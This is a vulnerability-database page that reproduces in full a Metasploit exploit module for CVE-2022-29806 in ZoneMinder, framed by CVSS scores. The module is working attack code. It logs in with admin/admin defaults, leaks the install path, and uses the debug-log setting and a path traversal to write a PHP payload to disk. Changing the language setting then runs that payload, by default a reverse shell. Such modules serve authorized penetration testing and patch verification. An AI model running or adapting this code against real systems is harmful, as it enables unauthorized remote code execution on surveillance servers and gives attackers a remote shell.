Lucene search

K
metasploitKrastanoelMSF:EXPLOIT-UNIX-WEBAPP-ZONEMINDER_LANG_EXEC-
HistoryApr 28, 2022 - 1:59 p.m.

ZoneMinder Language Settings Remote Code Execution

2022-04-2813:59:53
krastanoel
www.rapid7.com
85
zoneminder
remote code execution
path traversal
arbitrary file write
debug log
language settings
surveillance software
version detection
authentication
csrf magic

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This module exploits arbitrary file write in debug log file option chained with a path traversal in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ZoneMinder Language Settings Remote Code Execution',
        'Description' => %q{
          This module exploits arbitrary file write in debug log file option
          chained with a path traversal in language settings that leads to a
          remote code execution in ZoneMinder surveillance software versions
          before 1.36.13 and before 1.37.11
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'krastanoel' ], # Discovery and exploit
        'References' => [
          [ 'CVE', '2022-29806' ],
          [ 'URL', 'https://krastanoel.com/cve/2022-29806']
        ],
        'Platform' => ['php'],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2022-04-27',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'php/reverse_perl',
          'Encoder' => 'php/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
      OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
      OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
    ])
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    if res.body =~ /ZoneMinder/
      csrf_magic = get_csrf_magic(res)
      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}

      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
    else
      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
    end

    res.body.match(/v(1.\d+.\d+)/)
    version = Regexp.last_match(1)
    unless version
      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
    end

    version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')

    Exploit::CheckCode::Safe("Version Detected: #{version}")
  rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown('Could not connect to the web service')
  end

  def exploit
    unless datastore['AutoCheck']
      cookie_jar.clear
      res = authenticate
      fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
    end

    vprint_status('Leak installation directory path')
    random_path = rand_text_alphanumeric(6..15)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { 'view' => random_path }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { 'view' => 'options' }
    )

    csrf_magic = get_csrf_magic(res)
    current_lang = res&.get_html_document&.at(
      'select[@name="newConfig[ZM_LANG_DEFAULT]"]
        option[@selected="selected"]'
    )&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?

    data = 'view=request&request=log&task=query&limit=10'
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?

    res.body.match(/(\{"result":.*})/)
    request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
    if request_log.key?(:rows) # Check for latest version key first v1.36.x
      request_log_key = 'rows'
    elsif request_log.key?(:logs)
      request_log_key = 'logs'
    else
      fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
    end

    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
    if request_log
      path = request_log['File'].split('/')[0..-2].join('/')
      vprint_good("Path: #{path}")
    else
      fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
    end

    fname = "#{rand_text_alphanumeric(6..15)}.php"
    traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join
    shell = "#{traverse_path}tmp/#{fname}"
    data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
    vprint_good("Shell: #{shell}")

    p = %(<?php #{payload.encoded} ?>)
    data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res

    result = JSON.parse(res.body)['result']
    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'

    # trigger the shell
    lang = shell.gsub(/\.php/, '')
    data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302

    # cleanup
    data = Rack::Utils.parse_nested_query(data)
    data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_query,
      'keep_cookies' => true
    )
    vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200

    data['tab'] = 'logging'
    data['newConfig']['ZM_LOG_DEBUG'] = 0
    data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_query,
      'keep_cookies' => true
    )
    vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  private

  def get_csrf_magic(res)
    return if res.nil?

    res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
  end

  def authenticate(csrf_magic = nil)
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    data = "action=login&view=login&username=#{username}&password=#{password}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    })
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H